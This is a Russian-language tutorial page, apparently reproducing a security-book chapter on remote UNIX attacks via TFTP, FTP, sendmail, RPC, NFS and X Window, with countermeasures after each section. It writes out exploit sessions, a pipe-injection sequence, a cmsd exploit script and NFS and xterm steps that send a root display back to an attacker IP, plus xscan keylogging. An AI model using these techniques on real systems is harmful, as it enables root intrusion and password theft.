Бесплатный электронный учебник по защите информации компьютера в интернет

служба Компьютерная помощь
Кириши Ленинградской области

Часто используемые методы удаленного взлома

	Первые признаки вируса
	Компьютерные вирусы
	Классификация компьютерных вирусов
	Нежелательные программы
	Вредоносные программы
	Удаление программ вирусов
	Правила антивирусной безопасности компьютера
	Какой антивирус лучший?
	Скачать антивирус бесплатно
	Бесплатно скачать антивирус для Vista
	Лицензионный антивирус Касперского 7.0
	Купить лицензионный антивирус Касперского 7.0
	Лицензионный антивирус Dr.Web 4.44
	Купить лицензионный антивирус Dr.Web 4.44
	Карта сайта / Главная
	Наша ссылка

Часто используемые методы удаленного взлома

Хотя мы не сможем описать все возможные методы удаленного взлома, однако, как нам кажется, у вас уже должно было выработаться общее представление об основных принципах подобных атак, на основании которого вы сможете самостоятельно разобраться в тех или иных конкретных методах. Перед завершением обсуждения методов удаленного взлома мы хотим рассмотреть несколько важных служб, часто подвергающимся таким атакам, а также указать, с помощью каких контрмер можно снизить риск использования этих служб для проникновения в систему в тех случаях, когда отключение службы не представляется возможным.

TFTP

Протокол TFTP (Trivial File Transfer Protocol — простой протокол передачи файлов) обычно используется для загрузки бездисковых рабочих станций или сетевых устройств. таких как маршрутизаторы. TFTP — это основанный на UDP протокол, который использует порт 69 и характеризуется очень низким уровнем безопасности. Практически каждый случай, когда взломщик встречает систему, на которой запущен сервер TFTP, заканчивается попыткой получения через TFTP копии файла /etc/passwd. Если сервер TFTP не настроен должным образом, это приводит к тому, что система без малейшего сопротивления позволяет скопировать этот файл. Тем самым в руки взломщика попадает файл с информацией о пользовательских именах, после чего он может попробовать подобрать пароль. Кроме того, если пароли не хранятся в файле /etc/shadow, то, помимо пользовательских имен, взломщик получает также и зашифрованные пароли, в результате чего им может быть предпринята попытка их взлома или подбора.
Многие последние версии TFTP по умолчанию настроены таким образом, что разрешают доступ только к каталогу /tftpboot. Это очень хорошая мера предосторожности, однако все же возможность получения файлов с диска взламываемого компьютера, пусть даже лишь из одного каталога /tftpboot, может угрожать безопасности. Например, злоумышленник может найти в нем важные конфигурационные файлы маршрутизаторов. имена которых обычно имеют вид <имя_узла_маршрутизатора> .cfg. Во многих случаях взломщик также сможет получить доступ к паролям маршрутизатора и строкам доступа SNMP. Нам приходилось встречать целые сети, взломанные в течение нескольких часов с помощью подключения к незащищенному TFTP-серверу и получения от него конфигурационных файлов маршрутизаторов. Извлечь из этих файлов пароли и строки доступа SNMP — это лишь дело техники. Как правило, эти сведения оказываются идентичными для каждого сетевого устройства.

Контрмеры: защита TFTP

Убедитесь в том, что сервер TFTP ограничивает доступ к определенным каталогам, таким как /tftpboot. Это воспрепятствует взломщикам получить важную информацию о конфигурации системы. Кроме того, рассмотрите возможность реализации механизма управления доступом на уровне всей сети в целом и на уровне отдельных узлов, который запрещал бы несанкционированный доступ к серверу TFTP.

FTP

В настоящее время протокол FTP (File Transfer Protocol), позволяющий обмениваться файлами с удаленными системами, является одним из наиболее популярных. Это одна из причин, по которым он часто используется для несанкционированного доступа к удаленным системам или скрытной записи файлов. Многие FTP-серверы разрешают анонимный доступ, т.е. позволяют подключаться любому пользователю без какой-либо аутентификации. Обычно при этом файловая система, доступная анонимному пользователю, ограничивается определенными каталогами. Однако иногда бывает так, что анонимный пользователь может получить доступ к любому каталогу и файлу системы. Такая оплошность системного администратора дает возможность взломщику найти важные конфигурационные файлы, прежде всего /etc/passwd. Что еще хуже, многие FTP-серверы позволяют всем пользователям записывать информацию в свои каталоги. Такая "гремучая смесь" является "миной замедленного действия", подложенной под систему защиты. Например, взломщик может поместить файл .rhosts в личный каталог пользователя, чтобы впоследствии подключиться к системе с помощью утилиты rlogin. Кроме того, многие FTP-серверы взломаны охотниками за программным обеспечением, которые помешают нелегальные программы в скрытых каталогах. Поэтому, если нагрузка на вашу сеть возрастет за день в три раза, это может служить косвенным признаком того, что вашу систему используют для копирования очередной пиратской копии.
Помимо риска, связанного с разрешением анонимных подключений, FTP-серверы вносят свою лепту и в создание проблем, возникающих при переполнении буфера и других нарушениях. Одно из таких слабых мест было недавно обнаружено в системах, использующих для поддержки протокола FTP программу wu-ftpd 2.6.0 и ее более ранние версии (ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-2000.02). Эта ошибка связана с неправильной проверкой аргументов в нескольких вызовах функций, обеспечивающих возможность использования на узле ограниченного набора команд. Однако при этом взломщик может применить специальные форматы вывода символов, используемые функцией printf () (%f, %p, %n и т.д.) и выполнить произвольный код с привилегиями root. Вот как выглядит такая атака, примененная к системе RedHat 6.2.

[thunder]# wugod -t 192.168.1.10 -sO
Target: 192.168.1.10 (ftp/<shellcode>):
RedHat 6.2 (?) with wuftpd
2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr:
Oxbfffb028, Shellcode: 152
loggin into system.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS <shellcode>
230-Next time please use your e-mail address as your password
230-for example: joe@thunder
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists:
[87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our
return address by format string
STEP 4 : Ptr address test: Oxbfffb028
(if it is not Oxbfffb028 ^С
me now)
STEP 5 : Sending code.,
this will take about 10 seconds. Press ^\
to leave shell
Linux shadow 2.2.14-5.0
#1 Tue Mar 7 21:07:39 EST 2000 1686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

Подобная атака оказывается поистине смертельной. Анонимного доступа к уязвимому FTP-серверу, который поддерживает выполнение определенных команд, вполне достаточно, чтобы получить доступ с правами root.
Еще один изъян в системе безопасности, обнаруженный в системе BSD еще в 1993 году, связан с демоном ftpd. Его описание можно найти по адресу http://www.cert.org/advisories/CA-2000-13.html.
Хотя в данной книге этот вопрос подробно рассматриваться не будет, помните о том, что наличие подобного изъяна также может оказаться достаточно опасным.

Контрмеры: защита FTP

Хотя протокол FTP очень полезен, необходимо помнить, что разрешение анонимного доступа к FTP-серверу может весьма пагубно сказаться на "самочувствии" вашего сервера. Оцените необходимость использования FTP-сервера и определите, нужно ли предоставлять возможность анонимного доступа. В таких случаях для защиты сервера необходимо предпринять специальные меры. Очень важно установить самые последние версии модулей обновления, а также запретить или как минимум oipami-чить количество каталогов, в которые разрешена запись всем пользователям. А лучше вовсе откажитесь от таких каталогов.

sendmail

Данная тема столь обширна, что вполне заслуживает отдельной книги. С чего же начать? Программа sendmail — это агент рассылки электронной почты (МТА — mail transfer agent), используемый во многих системах UNIX. Из всех программ UNIX sendmail, пожалуй, является самой "вредной". Она обладает очень широким набором функций, в связи с чем позволяет настраивать свои параметры самыми разными способами и является очень сложной в использовании. Фактически о первых попытках взлома sendmail стало известно еще в 1988 году и с тех пор ее использовали для получения несанкционированного доступа к нескольким тысячам систем. Одно время была даже популярной такая шутка: "Какая ошибка в sendmail признана лучшей ошибкой недели?" В течение последних лет sendmail была значительно улучшена в плане безопасности, но она по-прежнему остается очень большой программой, исходный код которой содержит более 80000 строк. Таким образом, вероятность обнаружения новых изъянов в системе зашиты по-прежнему достаточно велика.
Как вы помните из главы 3, с помощью программы sendmail, а точнее ее команд vrfy и ехрп, можно идентифицировать пользовательские учетные записи. Это само по себе представляет угрозу, однако данная угроза — ничто по сравнению с той опасностью, которую таит в себе работающая программа sendmail. За десять последних лет в sendmail были выявлены целые россыпи изъянов защиты. К сожалению, необходимо констатировать, что список ее недостатков еще далеко не полон — несмотря на столь давний срок эксплуатации, в программе постоянно обнаруживаются новые и новые проблемы. Многие из этих проблем связаны с возникновением состояния переполнения буфера при удаленном подключении, а также с возможностью взлома при отсутствии проверки ввода. Одним из самых популярных методов взлома sendmail заключался в использовании недостатка sendmail 4.1, проявляющегося при перенаправлении ввода-вывода. Суть проблемы состояла в том, что взломщик с использованием конвейера мог направить программе sendmail команды для выполнения. При этом sendmail выполняла любую команду с привилегиями, которые применялись для программ, расположенных в каталоге bin.

hello
mail from: |
rcpt to: bounce
data
mail from: bin
rcpt to: | sed 4,/^$/d' | sh
data

Помимо универсальных методов, направленных на переполнение буфера или взлом при отсутствии проверки ввода, для получения несанкционированного доступа часто применяются средства, специфичные для sendmail. Например, одним из распространенных методов является создание или модификация пользовательского файла -/.forward с применением FTP или NFS при условии, конечно, что у взломщика имеется доступ для записи в рабочий каталог этого пользователя. В файле -/.forward обычно содержатся сведения о том, куда нужно перенаправлять почтовые сообщения или какие программы нужно запускать при ее поступлении. Очевидно, что для взломщика этот файл представляет собой "лакомый кусочек", а его модификация открывает перед злоумышленником весьма богатые возможности. Давайте рассмотрим пример того, что взломщик может добавить в файл ~/.forward выбранной им жертвы.

[tsunami]$ cat > .forward
|"op /bin/sh /home/gk/evil_shell ;
chmod 755 /home/gk/evil_shell"
<crtl> D
[tsunami]$ cat .forward
I"cp /bin/sh /home/gk/evil_shell ;
chmod 755 /home/gk/evil_shell"

Создав такой файл, взломщик помещает его в соответствующий пользовательский каталог взламываемой системы (естественно, при условии, что у него имеется право записи в этот каталог). Затем ему остается лишь отправить почту по адресу жертвы. [tsunami]$ echo hello chump | mail gk@targetsystem.com
Получение сообщения приведет к созданию в рабочем каталоге пользователя файла evil_shell. При запуске этого файла будет запущена командная оболочка с привилегиями, соответствующими уровню привилегий использованной взломщиком учетной записи.

Контрмеры: защита программы sendmail

Лучшим методом защиты от попыток взлома sendmail является отказ от ее использования во всех случаях, когда эта программа не используется для получения почты по сети. Если использовать sendmail все же необходимо, обязательно убедитесь в том, что в вашем распоряжении имеется ее самая свежая версия, в которой установлены все модули обновления системы защиты (http://www.sendmail.org). К другим мерам относится удаление из соответствующего файла всех псевдонимов. Исследуйте каждый псевдоним, который указывает на программу, а не на учетную запись пользователя. Кроме того, убедитесь, что разрешения, заданные для соответствующих файлов, запрещают внесение в них каких-либо изменений.
Существуют дополнительные утилиты, призванные восполнить недостаточную защищенность sendmail. Такими утилитами, например, являются smap и smapd — программы, входящие в комплект поставки пакета TIS, который можно бесплатно получить по адресу http://www.tis.com/research/software. Утилита smap используется для безопасного получения сообщений по сети и их размещения в специально выделенном каталоге. Утилита smapd периодически проверяет этот каталог и доставляет почту адресатам, используя для этого sendmail или какую-либо другую программу. Данный подход позволяет разорвать связь между sendmail и нелегальными пользователями, поскольку все соединения для получения почты устанавливает утилита smap, а не sendmail. Наконец, можно перейти к использованию более надежного агента МТА, такого как qmail. Программа qmail, написанная Дэном Бернштейном (Dan Bernstein),
представляет собой современный эквивалент sendmail. Одной из основных целей создания программы qmail было обеспечение безопасности при работе с электронной почтой, и в настоящее время она пользуется очень хорошей репутацией (подробнее см. по адресу http://www.qmail.org).
Кроме вышеупомянутых изъянов, программа sendmail зачастую неправильно конфигурируется, что позволяет с ее помощью рассылать спэмы. В программе sendmail версии 8.9 и выше реализованы функции, предотвращающие ее использование для таких целей. Для того чтобы получить об этом более подробную информацию и защитить узел от атак спэмеров, обратитесь по адресу http://www.sendmail.org/tips/relaying.html.

Службы удаленного вызова процедур (RPC)

Удаленный вызов процедур (RPC — Remote Procedure Call) — это механизм, который позволяет программе, работающей на одном компьютере, выполнять программный код на удаленном компьютере. Одна из первых реализаций службы RPC была разработана компанией Sun Microsystems и использовалась в системе, базирующейся на протоколе XDR (внешнее представление данных — eXtemal Data Representation). Целью этой системы было обеспечение взаимодействия сетевой информационной службы (NIS — Network Information System) и сетевой файловой системы (NFS — Network File System), созданных компанией Sun. После разработки компанией Sun Microsystems службы RPC многие другие производители операционных систем семейства UNIX также стали включать поддержку RPC в свои продукты. С точки зрения обеспечения взаимодействия распространение и стандартизация RPC — это очень важно и полезно. Однако при разработке службы RPC вопросам безопасности практически не уделялось никакого внимания. Несмотря на то что и компания Sun, и другие разработчики приложили все усилия, для того, чтобы устранить имеющиеся недостатки в уже используемом программном обеспечении и выпустить соответствующие модули обновления, нередко оказывается, что механизм RPC по-прежнему таит в себе немало проблем, связанных с огромным количеством ошибок в системе защиты.
Как уже отмечалось в главе 3, при запуске службы RPC регистрируются с помощью службы преобразования портов (portmapper). Для того чтобы установить связь со службой RPC, у службы portmapper необходимо запросить номер порта RPC. Ранее уже рассматривался метод получения списка запущенных служб RPC, заключающийся в сканировании портов с использованием утилиты rpcinfo или параметра -n (если служба portmapper блокируется на уровне брандмауэра). К сожалению, во многих версиях UNIX после загрузки по умолчанию включается режим поддержки RPC. Но это еще полбеды — настоящая проблема состоит в том, что многие службы RPC очень сложны и работают на уровне привилегий суперпользователя root. Таким образом, успешный взлом путем переполнения буфера или при отсутствии проверки ввода приведет к немедленному получению доступа в качестве суперпользователя. На момент написания данной книги взлому путем переполнения буфера были наиболее подвержены службы rpc. ttdbserverd (http: //www. cert.org/advisories/CA-98.11.tooltalk.html) И rpc.cmsd (http://www.cert. org/advisories/CA-99-08-cmsd.html), являющиеся частью стандартного рабочего стола (Common Desktop Environment — CDE). Поскольку обе службы работают на уровне привилегий суперпользователя, взломщику достаточно вызвать состояние переполнения буфера и создать обратный канал, воспользовавшись программой xterm либо установив реверсивный telnet-сеанс. К другим не менее опасным службам RPC относятся rpc. statd (http://www.cert.org/advisories/CA-99-05-statd-automountd.html) и rpc.mountd, которые оказываются активными при использовании сетевой файловой системы NFS (см. раздел "Nfs" ниже в этой главе). Даже если служба преобразования портов заблокирована, взломщик может вручную просканировать порты и попытаться выявить активные службы RPC (с помощью параметра -sR утилиты nmар), с которыми обычно связаны порты с большими номерами. Вышеупомянутые службы представляют собой лишь несколько примеров проблем, которые может создать поддержка механизма RPC. Благодаря распределенной природе служб RPC и высокой сложности их компонентов, этот механизм часто является жертвой злоумышленников, что и продемонстрировано в следующем фрагменте.

[rumble]* cmsd.sh quake
192.168.1.11 2 192.168.1.103
Executing exploit...
rtable_create worked
clnt__call[rtable_insert]: RPC:
Unable to receive; errno=Connection
reset
by peer

Как показано ниже, эту атаку позволяет упростить простой сценарий оболочки, в котором вызывается утилита cmsd. При этом необходимо знать имя удаленного узла. В рассматриваемом примере таким именем является quake. Кроме того, используется также IP-адрес этого узла, 192.168.1.11, а также тип системы (2), что эквивалентно системе Solaris 2.6. Эта информация оказывается чрезвычайно важной, поскольку утилита "приспосабливается" к каждой конкретной системе. И наконец, мы указали также IP-адрес компьютера взломщика (192 .168 .1.103) и установили обратный канал с использованием программы xterm (рис. 8.2).

Рис. 8.2. Окно xterm, появившееся в результате использования утилиты cmsd. Этого же результата можно достигнуть при использовании служб rpc. ttdbserverd или rpc. statd

#!/bin/sh
if [ $# -It 4 ]; then

echo "Rpc.cmsd buffer overflow for
Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip 1grep
100068 = true - you win!"
echo "Don't forget to xhost+ the target system"
echo ""
echo "Usage: $0 target_hostname target_ip <
0/S version (1-7)> your_ip"
exit 1
fi
echo "Executing exploit..."
cmsd -h $1 -c "/usr/openwin/bin/xterm -display
$4:0.0 &" $3 $2

Контрмеры: защита служб RFC

Лучшим методом защиты от удаленных атак является отключение всех служб RPC, в использовании которых нет острой необходимости. Если же какая-то служба RPC очень важна для работы сервера, подумайте над установкой какого-либо устройства управления доступом, с помощью которого связь с необходимыми портами RPC можно было бы разрешить только строго определенным узлам. В некоторых случаях эта задача может оказаться весьма непростой. Подумайте также над включением режима, запрещающего выполнение стека, если такой режим поддерживается вашей операционной системой. Наконец. попробуйте использовать Secure RPC, если имеющаяся в вашем распоряжении версия UNIX поддерживает такие средства. Secure RPC обеспечивает дополнительный уровень аутентификации, основанной на шифровании по открытому ключу. Помните, что Secure RPC — это не панацея, поскольку многие разработчики UNIX не поддерживают этого протокола. Другими словами, при использовании протокола Secure RPC повышается безопасность, но под угрозой может оказаться взаимодействие. Наконец, убедитесь в том, что установлены все самые последние модули обновления, разработанные поставщиком используемой вами системы.

NFS

В документах компании Sun Microsystems можно встретить такое определение: "Сеть — это и есть компьютер". Действительно, возможности компьютера, не подключенного к сети, гораздо уже, чем его собрата, включенного в локальную или глобальную сеть. Возможно, именно из-за этого сетевая файловая система (NFS — Network File System) является одной из самых популярных файловых систем, предназначенных для поддержки сетевой обработки данных. Система NFS обеспечивает пользователям и приложениям прозрачный доступ к файлам и каталогам удаленных систем, как если бы эти файлы и каталоги были локальными. NFS была разработана компанией Sun Microsystems, и за годы, прошедшие после выхода версий 1 и 2, была значительно усовершенствована. В настоящее время система NFS версии 3 используется в большинстве современных клонов UNIX. Именно поэтому администратор любой системы, разрешающей удаленный доступ к экспортируемой файловой системе, должен быть особенно бдительным. Вероятность использования системы NFS для проникновения в сеть очень высока, а нарушения такого рода являются одними из самых распространенных нарушений безопасности UNIX. Это связано, во-первых, с -тем, что в сервере NFS (mountd) уже выявлено очень много потенциальных ошибок, приводящих к переполнению буфера. Кроме того, системой NFS используются службы RPC, что позволяет взломщикам смонтировать удаленную файловую систему. Большинство проблем, связанных с безопасностью NFS, имеет то или иное отношение к объектам, называемым дескрипторами файлов (file handle). Дескрипторы файлов — это уникальные маркеры, предназначенные для идентификации файлов и каталогов удаленного сервера. Если взломщику удастся выведать или подобрать дескриптор удаленного файла, он сможет легко получить к нему доступ.
Чаще всего проблемы с системой NFS связаны с ее неправильной настройкой, когда экспортирование файловой системы разрешено любому пользователю (everyone). Иными словами, любой удаленный пользователь может смонтировать файловую систему, не проходя аутентификации. Эта проблема относится к разряду тех, которые возникают из-за лени или халатности некоторых администраторов и встречаются сплошь и рядом. Взломщику даже не нужно взламывать такую удаленную систему — все что требуется, это смонтировать файловую систему с помощью средств NFS и найти любой интересующий его файл. Обычно можно экспортировать рабочие каталоги пользователей так, что с помощью удаленного доступа можно получить множество интересных файлов (например, целые базы данных). Более того, экспортируется даже корневой каталог, о последствиях чего даже не нужно говорить! Давайте рассмотрим один пример, а затем рассмотрим инструменты, с помощью которых из системы NFS можно извлечь дополнительную пользу.
Итак, проверим интересующую нас систему и определим, используется ли в ней система NFS и какие файловые системы экспортируются (если таковые имеются, конечно).

[tsunami]# rpcinfo -p quake
program vers proto port
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 2 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 3 udp 111 rpcbind
100000 2 udp 111 rpcbind
100235 1 tcp 32771
100068 2 udp 32772
100068 3 udp 32772
100068 4 udp 32772
100068 5 udp 32772
100024 1 udp 32773 status
100024 1 tcp 32773 status
100083 1 tcp 32772
100021 1 udp 4045 nlockmgr
100021 2 udp 4045 nlockmgr
100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
100021 1 tcp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100021 3 tcp 4045 nlockmgr
100021 4 tcp 4045 nlockmgr
300598 1 udp 32780
300598 1 tcp 32775
805306368 1 udp 32780
805306368 1 tcp 32775
100249 1 udp 32781
100249 1 tcp 32776
1342177279 4 tcp 32777
1342177279 1 tcp 32777
1342177279 3 tcp 32777
1342177279 2 tcp 32777
100005 1 udp 32845 mountd
100005 2 udp 32845 mountd
100005 3 udp 32845 mountd
100005 1 tcp 32811 mountd
100005 2 tcp 32811 mountd
100005 3 tcp 32811 mountd
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100227 2 udp 2049 nfs_acl
1C0227 3 udp 2049 nfs_acl
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100227 2 tcp 2049 nfs_acl
100227 3 tcp 2049 nfs_acl

Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запушены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему.

[tsunami]# showmount -е quake
Export list for quake:
/ (everyone!
/usr (everyone)

Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом примере экспортируемыми является не только файловая система /usr, но и /, что связано с очень большим риском. Все, что нужно сделать взломщику для получения доступа к такой системе, — это воспользоваться командой mount / или mount /usr. После этого он получит доступ к любому файлу файловой системы / или /usr, в соответствии с разрешениями, заданными для файлов и каталогов. Команда mount входит в состав большинства клонов UNIX, хотя она оказывается и не такой гибкой, как некоторые другие средства. Для того чтобы познакомиться с особенностями использования команды mount более подробно, введите команду man mount, так как в некоторых случаях ее синтаксис может отличаться от того, который вы увидите в приведенном ниже примере.
[tsunami /root]# mount quake:/ /mnt
Другим, более удобным, инструментом исследования системы NFS является пакет nfsshell, разработанный Линдертом Ван Дорном (Leendert van Doom), которую можно найти по адресу ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz. В состав пакета nfsshell входит робастный клиент nfs. Этот клиент функционирует подобно клиенту FTP и позволяет легко манипулировать удаленной файловой системой. Многочисленные параметры nfs заслуживают того, чтобы привести их в данной книге.

[tsunami n£s]# nfs
nfs> help
host <host> - установка имени удаленного узла
uid [<uid> <secret-key>]] - установка идентификатора удаленного
пользователя
gid [<gid>] - установка идентификатора удаленной группы
cd [<path>j - изменение рабочего каталога на удаленном узле
led [<path>] - изменение рабочего каталога на локальном узле
cat <filespec> - вывод на экран заданного файла
Is -I <filespec> - просмотр содержимого удаленного каталога
get <fiiespec> - получение удаленного файла
df - информация о файловой системе
rm <file> - удаление файла на удаленном узле
in <filel> <f.ile2> - создание ссылки на файл
rnv <filel> <file2> - перемещение файла
mkdir <dir> - создание каталога на удаленном узле
rmdir <dir> - удаление каталога на удаленном узле
chmod <mode> <file> - изменение атрибутов файла
chown <uid>[.<gid>] <file> - изменение владельца
put. <Iccal-file> [<remote-file>] - отправка локального файла
mount [-upTU] [-P port] <path> - монтирование файловой системы
umount - демонтирование удаленной файловой системы
umountall - демонтирование всех удаленных файловых систем
export - просмотр списка всех экспортируемых файловых систем
dump - просмотр всех смонтированных удаленных файловых систем
status - вывод отчета о состоянии
help - вывод данной информации
quit - название говорит само за себя
bye - good bye handle [<handle>] - просмотр/установка дескриптора файла каталога
mknod <name> [b/c major minor] [p] - создание устройства

Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать.

nfs> host quake
Using a privileged port (1022)
Open quake (192.168.1.10) TCP

Затем посмотрим, какие файловые системы можно экспортировать.

nfs> export
Export list for quake:
/ everyone
/usr everyone

Теперь, чтобы получить доступ к файловой системе /, необходимо ее смонтировать.

nfs> mount /
Using a privileged port (1021)
Mount '/', TCP, transfer size 8192 bytes

Проверим состояние соединения и определим идентификатор UID, с которым была смонтирована файловая система.

nfs> status
User id : -2
Group id :-2
Remote host :'quake'
Mount path :' / '
Transfer size : 8192

Итак, мы смонтировали файловую систему / с идентификаторами UID и GID, равными -2. Из соображений безопасности, если вы монтируете удаленную систему как суперпользователь root, ваши идентификаторы UID и GID подменяются другими значениями, отличными от 0. Поскольку мы смонтировали всю файловую систему, теперь без труда можно увидеть содержимое файла /etc/passwd.

nfs> cd /etc
nfs> cat passwd
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
Ip:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody: /:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
gk:x:1001:10::/export/home/gk:/bin/sh
sm:x:lC03:10::/export/home/sm:/bin/sh

Итак, теперь нам известны имена пользователей и соответствующие им идентификаторы. Однако файл паролей является скрытым (shadowed), поэтому им нельзя воспользоваться для взлома паролей. Поскольку мы не можем взломать ни одного пароля и, соответственно, не можем смонтировать файловую систему в качестве суперпользователя, необходимо определить другие идентификаторы пользователей, которые позволяют получить привилегированный доступ. Таким пользователем может оказаться daemon, но лучше всего остановить выбор на учетной записи bin. или UID 2, так как на многих системах пользователь bin является владельцем исполняемых файлов. Если взломщик сможет получить доступ к исполняемым файлам посредством системы NFS или каким-либо другим способом, то у большинства систем в таком случае не останется ни единого шанса на выживание. Затем нужно смонтировать систему /usr, изменить идентификаторы UID и GID, а затем попытаться получить доступ к исполняемым файлам. 

nfs> mount /usr
Using a privileged port(1022)
Mount '/usr', TCP, transfer size 8192 bytes.
nfs> uid 2
nfs> gid 2
nfs> status
User id : 2
Group id : 2
Remote host: 'quake'
Mount path : '/usr'
Transfer size : 8192

Теперь мы обладаем всеми привилегиями, которыми обладает пользователь bin на удаленной системе. В нашем примере файловая система не была экспортирована с какими-то специальными параметрами, которые ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому все, что осталось сделать, — это запустить программу xterm или создать обратный канал к нашей системе, который позволит получить доступ к взламываемой системе.
Создадим на нашей системе следующий сценарий и сохраним его в файле in. f tpd.

tt!/bin/sh
/usr/openwin/bin/xterm -display 10.10.10.10:0.0 &

Теперь нужно перейти в каталог /sbin удаленной системы и заменить исходный файл in. ftpd нашей версией.

nfs> cd /sbin
nfs> put in.ftpd

И наконец, необходимо указать, чтобы удаленный сервер подключился к Х-серверу нашего узла с помощью команды xhost. Для этого нужно ввести следующие команды.

[tsunami]# xhost +quake
quake being added to access control list
[tsunami]# ftp quake
Connected to quake.

В результате выполнения всех этих действий наша система станет X-терминалом удаленного узла с привилегиями root. Ввиду того что в этой системе файл in. ftpd вызывается из файла inetd с привилегиями суперпользователя, наш сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя.

# id
uid=0{root)gid=0(root)
#

Контрмеры: защита системы NFS

Если нет острой необходимости в использовании системы NFS, то ее, а также и все связанные с ней службы (например, mountd, statd и lockd) необходимо отключить. Реализуйте механизм управления доступом, который позволил бы получать доступ к нужным файлам только санкционированным пользователям. Обычно экспортом файловых систем и включением соответствующих параметров управления доступом управляют конфигурационные файлы /etc/exports, /etc/dfs/dfstab и т.д. Некоторые параметры управления доступом позволяют задать имена компьютеров или групп, которым разрешен доступ, установить доступ только для чтения или запретить установку флага SUID. В каждой реализации системы NFS имеются небольшие различия, поэтому более подробную информацию об используемой версии поищите в документации или в справочной системе. Кроме того, никогда не включайте локальный IP-адрес сервера (или localhost) в список систем, которым разрешено монтировать файловую систему. Более старые версии службы portmapper позволяют взломщикам подключаться через proxy-серверы, работающие в интересах этих взломщиков. Если системе было разрешено монтировать экспортируемую файловую систему, взломщики могут отправить пакеты NFS службе portmapper взламываемой системы, что, в свою очередь, приведет к пересылке запроса на localhost. Такой запрос будет выглядеть так, словно он поступил с доверенного узла, что позволит ему обойти соответствующие правила управления доступом. Как всегда, в качестве последней по порядку (но не по значимости!) меры, советуем установить все модули обновления, предлагаемые разработчиками программного обеспечения.

Проблемы защиты системы X

Система X Window предоставляет богатый набор функций, позволяющий многим программам одновременно использовать один и тот же графический дисплей. Но с точки зрения безопасности самой большой проблемой системы X Windows является реализованная в ней модель защиты, которую коротко можно охарактеризовать так: "Все или ничего". После того как клиент получил доступ к Х-серверу, ему выдается полная индульгенция. Клиенты X могут перехватывать нажатия клавиш на пользовательской консоли, закрывать окна, захватывать любые окна сервера и отображать их содержимое где угодно, и даже переключать клавиатуру на свою, независимо от того, какие клавиши нажимает пользователь. Многие проблемы основываются на слабой парадигме управления доступом или полном равнодушии системного администратора. Самой простой и популярной формой управления доступом к X является аутентификация с использованием команды xhost. Данный механизм обеспечивает управление доступом на основе IP-адреса и является при этом наиболее слабой формой аутентификации. Для удобства работы системный администратор может ввести команду xhost +, что позволит получить доступ к Х-серверу без какой-либо аутентификации любому локальному или удаленному пользователю (при использовании параметра + доступ к серверу разрешен для всех узлов). Что еще хуже, многие Х-серверы, работающие на платформе PC, по умолчанию настроены именно на использование команды xhost +, подвергая тем самым огромной опасности ничего не подозревающих пользователей. Как вы понимаете, этим, казалось бы незначительным, недостатком могут воспользоваться злоумышленники.
Одной из лучших программ, предназначенной для идентификации Х-серверов, у которых включен режим xhost +, является утилита xscan. С ее помощью можно выполнить сканирование всей подсети, найти в ней открытые Х-серверы и записать все нажатия клавиш в файл журнала.

[tsunami]$ xscan quake
Scanning hostname quake ...
Connecting to quake (192.168.1.10) on port 6000...
Connected.
Host quake is running X.
Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0...

Теперь все клавиши, нажимаемые на клавиатуре удаленного компьютера, будут регистрироваться в файле KEYLOG.quake.

[tsunami]$ tail -f KEYLOG.quake:0.0
su -
[Shift_L]Iamowned[Shift_R]!

Затем достаточно воспользоваться командой tail, чтобы увидеть, что набирает на клавиатуре пользователь в режиме реального времени. В нашем примере пользователь ввел команду su, а затем, в ответ на приглашение, — пароль lamowned! (утилита xscan умеет даже определять нажатие клавиш <Shift>).
Также просто определить, какие окна открыты на взломанной системе. Для этого взломщик сначала должен установить шестнадцатеричное значение идентификатора окна с помощью команды xlwins.

[tsunami]! xlswins -display quake:0.0 Igrep -i netscape
0x1000001 (Netscape)
0x1000246 (Netscape)
0x1000561 (Netscape: OpenBSD)

Программа xlswins отображает много информации, поэтому в нашем примере мы используем утилиту grep, чтобы установить, запушен ли броузер Netscape. К счастью, нам повезло — броузер Netscape действительно запущен на удаленном компьютере. Однако ничего не мешает просмотреть все выдаваемые утилитой xlswins результаты и найти интересующие вас окна, не полагаясь на удачу. Теперь, для того чтобы увидеть окно Netscape на своем компьютере, мы воспользуемся программой XWatchWin, как показано на рис. 8.3. 
[tsunami]# xwatchwin quake -w 0x1000561
Указывая идентификаторы окон, можно просматривать их содержимое на своем компьютере, незаметно наблюдая за всеми действиями, которые выполняет пользователь.
Даже если на взламываемом компьютере включен режим xhost -, взломщик может получить копию экрана консоли сеанса пользователя с помощью утилизы xwd. Для этого достаточно, чтобы у взломщика был локальный доступ к командной оболочке, а на взламываемом сервере использовалась лишь стандартная аутентификация xhost.
 [quake]$ xwd -root -display localhost:0.0 > dump.xwd
